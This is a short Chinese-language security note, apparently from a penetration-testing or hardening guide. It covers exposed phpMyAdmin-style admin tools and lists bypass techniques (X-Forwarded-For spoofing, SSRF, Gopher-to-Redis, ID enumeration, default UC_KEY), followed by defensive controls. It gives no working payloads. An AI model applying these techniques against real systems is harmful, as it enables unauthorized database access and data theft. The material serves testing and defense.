phpMyAdmin 等数据库管理工具路径可被扫描发现后直接访问:数据库 Web 管理工具安装在 Web 服务器上且未修改默认访问路径,通过常见路径字典扫描即可定位;若工具配置为无密码认证或使用通用弱口令,攻击者进入后可对整个数据库执行任意 SQL 操作、导出全量数据或写入 webshell,等同于服务器和数据库同时沦陷,是渗透测试中最常见的高价值发现之一。

绕过方式

绕过手法说明
IP 白名单绑定不严仅检查 X-Forwarded-For 头,伪造即可绕过
SSRF 中转通过服务端 SSRF 访问内网不对外的服务
协议特性Gopher 协议配合 SSRF 直接发送 Redis 命令
参数枚举遍历整型 ID 批量获取他人数据
UC_KEY 默认值/空值PHP 应用 UC Center 集成时若 UC_KEY 为空或使用默认值,任何人可直接调用用户 API(注册/登录/修改)实现鉴权失效

防御控制点

  • 认证覆盖所有服务端口:数据库、中间件、API 均需配置认证,不因"内网"假设而省略
  • 数据库绑定内网 IP:Redis/MongoDB 绑定 127.0.0.1 或内网段,不绑定 0.0.0.0
  • 网络隔离分层:数据库层与 web 层通过安全组/防火墙隔离,仅允许应用服务器访问数据库端口
  • 服务端资源归属校验:每次操作均在服务端验证资源属于当前认证用户
  • 定期扫描暴露面:定期对内外网扫描未认证的开放端口,发现即整改